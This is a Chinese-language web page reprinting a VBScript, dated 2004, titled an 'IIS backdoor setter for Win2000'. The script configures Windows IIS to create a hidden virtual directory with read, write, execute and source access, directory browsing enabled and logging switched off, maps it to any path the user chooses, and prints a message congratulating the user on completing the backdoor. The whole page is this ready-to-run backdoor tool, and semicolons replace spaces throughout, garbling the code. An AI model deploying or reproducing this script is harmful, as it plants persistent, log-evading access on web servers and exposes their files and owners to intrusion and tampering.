1. 首頁 > 云知道 > >

IIS后門設置器 FOR WIN2000

云知道

help1="IIS后門設置器;FOR;WIN2000;BY;動鯊;3月3號2004;年"
help2="請輸入正確的虛擬目錄名稱和映射的路徑,格式如下"
help3=";cscript.exe;iis.vbs;虛擬目錄的名稱;映射的路徑"
help4="例如:;cscript.exe;iis.vbs;lh;e:/"

set;Args;=;Wscript.Arguments
if;args.count;<;2;then
wscript.echo;help1
wscript.echo;""
wscript.echo;help2
wscript.echo;""
wscript.echo;help3
wscript.echo;""
wscript.echo;help4
wscript.quit
end;if

strVRName=args(0);’’虛擬目錄名稱
strRootPath=args(1);’’虛擬目錄路徑

Set;checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
For;each;VR;in;checkVirtualDir
if;VR.Name="lhxy";Then
foundt;="yes"
else
foundt=;"no"
End;If
Next

if;foundt;="yes";then
wscript.echo;"發現已經創建了lhxy目錄，正在設置自定義的虛擬目錄"
creatvdir
else
wscript.echo;"正在創建lhxy目錄，以及自定義文件夾，請等待！"
creatlhxy
creatvdir
end;if

wscript.echo;"你創建的虛擬目錄名稱是"&;strVRName;&"，映射的文件夾是;";&;strRootPath;&" 。"
wscript.echo;"請訪問http://IP/lhxy/"&;strVRName;&"/;來連接后門!"
wscript.echo;"恭喜!后門設置全部完成!";
sub;creatlhxy()
Set;objDir=GetObject("IIS://LocalHost/W3SVC/1/Root");
Set;myDir=objDir.Create("IISWebVirtualDir","lhxy")
myDir.AccessRead=true
myDir.DefaultDoc=mydir.DefaultDoc
myDir.AppIsolated=0
myDir.AccessExecute=true;
myDir.DontLog=true
myDir.AccessSource=true
myDir.EnableDirBrowsing=true
myDir.setinfo
end;sub
sub;creatvdir()
Set;objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/lhxy")
Set;VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)
VirDir.AccessRead=true
VirDir.Path=strRootPath
VirDir.DefaultDoc=""
VirDir.AccessExecute=true
VirDir.AccessWrite=true
VirDir.AccessSource=true;
VirDir.AppIsolated=0;
VirDir.DontLog=true;
VirDir.EnableDirBrowsing=true;
VirDir.appcreate;0;
VirDir.CreateProcessAsUser=0
VirDir.setInfo
end;sub
wscript.quit

    推薦閱讀